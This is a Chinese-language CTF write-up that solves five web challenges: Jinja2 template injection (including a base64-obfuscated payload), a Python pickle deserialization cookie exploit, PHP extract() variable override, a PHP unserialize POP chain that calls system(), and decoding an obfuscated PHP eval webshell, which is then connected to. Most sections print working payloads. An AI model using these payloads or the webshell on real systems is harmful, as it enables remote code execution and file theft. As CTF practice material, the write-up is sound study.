一.ssti
开头提示get方式传参name

加上是ssti的问题(简而言之就是说要用这种方式来得到对象的内部属性)
SSTI(服务器端模板注入)的利用过程就像是在目标语言的环境里"寻宝",核心思路是利用模板语法去访问当前对象,再通过对象的内部属性(如__class__、bases、mro、subclasses)进行"属性链式搜索",最终找到可以执行系统命令、读取文件的危险函数或类。

1.输入{{7*7}}挨着尝试不同的模板

2.然后他可能是Twig (PHP)、Jinja2 (Python)、ERB (Ruby)
3.传参{{7*'7'}} → 7777777

此时能对是jinja2的确定
# 模板1:最稳定(通过eval)
{{a.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}
# 模板2:最直接(有os的情况下)
{{a.__init__.__globals__['os'].popen('cat /f*').read()}}
# 模板3:最通用(通过__import__)
{{a.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /f*').read()}}
# 模板4:最隐蔽(编码版)
{{(a.__init__.__globals__.__builtins__|attr('ZXZhbA=='|decode('base64')))(('X19pbXBvcnRfXygib3MiKS5wb3BlbigiY2F0IC9mKiIpLnJlYWQoKQ=='|decode('base64')))}}
然后构造最后的payload:
{{a.init.globals['builtins']['eval']('import("os").popen("cat /f*").read()')}}
4.得到最后的flag{74da457f9884bef24f271e377334399a}
二.unpickle
下载附件得到一个py文件
import pickle
import base64
from flask import Flask, request
app = Flask(name)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
except:
username = "Guest"
return "Hello %s" % username
if name == "main":
app.run(host="0.0.0.0", port=8080)
此时的页面弹出来的是Guest此时是进入到了except部分
重点就是 user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
user = base64.b64decode(request.cookies.get('user'))这一部分是要得到user.cookie的base64编码
user = pickle.loads(user)这一部分是说要把这个编码后的字符串变成user对象,成为了一个反序列化的问题
然后__reduce__ 是Python pickle模块的特殊方法:
当对象被反序列化时自动调用
必须返回一个元组 (函数, (参数1, 参数2, ...))
反序列化时会自动执行这个函数
原本的是将user的cookie来base64处理然后反序列化变成对象,解决方法就是将对象变成字符串来解决,所以最后这个字符串会触发这个反序列的代码
最终的payload是创建__reduce__方法然后引入恶意对象最后base64编码引入这个字符串
import pickle
import base64
class exp(object):
def __reduce__(self):#反序列化时的自动执行方法
return eval, ("open('/flag','r').read()",)
e = exp()
exp = pickle.dumps(e) # 字节流
a = base64.b64encode(exp).decode()#将命令行转成base64编码
print(a)

最后得到gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu
最后得到flag:flag{1cd20c1dbbed0fc7ab481b44006d469f}

三.BlackMagic

<!--
extract($_REQUEST); // 将$_REQUEST中的键值对提取为变量
$strCharList = "\r\n\0\x0B "; // 包含回车、换行、空字符、垂直制表符、空格
$strFlag = "\r xxxxx...xxxxx \n"; // 包含特殊字符的flag字符串
if(isset($strTmp)) // 检查是否有$strTmp变量
{
$strContent = trim($strFlag, $strCharList); // 去除两端的特定字符
if($strTmp == $strContent) // 比较是否相等
{
echo "flag{xxx...xxx}";
代码审计:
extract() 函数详解
extract() 是PHP中一个非常危险的函数,经常导致变量覆盖漏洞。作用是将数组中的键值对导入到当前的符号表(变成PHP变量)
比如:
<?php
$data = array(
"username" => "admin",
"password" => "123456",
"is_admin" => true
);
extract($data);
// 现在可以直接使用这些变量
echo $username; // 输出: admin
echo $password; // 输出: 123456
echo $is_admin; // 输出: 1 (true)
?>
在本地里面输入
<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
strContent = trim(strFlag, $strCharList);
echo urlencode($strContent);

然后弱比较传参试试?strTmp=xxxxx...xxxxx%09
得到flag{ab8aff2d0104e4f883a57880b260b761}
四.反序列化
<?php
/*
PolarD&N CTF
*/
highlight_file(FILE);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
user_data=unserialize(_GET['data']);
}
?>
跟上面的py反序列的解决方式差不多
整个链子就是这样example.__destruct -> example.funnnn -> process.close
(用户输入 → unserialize() → 创建example对象 → 脚本结束 →
__destruct()调用 → funnnn()调用 → handle->close() →
如果handle是process对象 → 执行eval($pid) → 任意代码执行)
然后构造payload来触发这个反序列代码(我们需要创建一个恶意对象,然后把它序列化成字符串,发送给服务器,服务器反序列化这个字符串时就会创建出我们的恶意对象,从而触发漏洞!)
首先类是example(7个字符),然后根据这个pop链的顺序来,然后有一个属性,属性内容是handle又有新的类process(有一个属性),对象是pid然后利用eval函数实现命令执行
?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}

O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('tac /var/www/html/flag.php');";}}
得到flag:flag{3c8000f924a1ed58a12a91759ecab3f0}
五.找找shell
下载附件

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
我们直接把这句话url解码n1zb/m61\vt0i28-pxuqy*6lrkdg9_ehcsw o4+f37j
然后把全部都解码,提取出base64部分:
JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=
这是base64编码,解码后:
$O0O000="bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
然后想要得到关键的不重复的代码,需要将代码分段(substr)然后替换里面所有重复的代码(strtr)
利用这个思路用ai最后输出这个shell代码得到<?php @eval($_POST['usam']); ?>后门的密码是usam
然后后门文件是shell.php(dir扫出来的)
最后连接蚁剑就行查看flag
flag{2591c98b70119fe624898b1e424b5e91}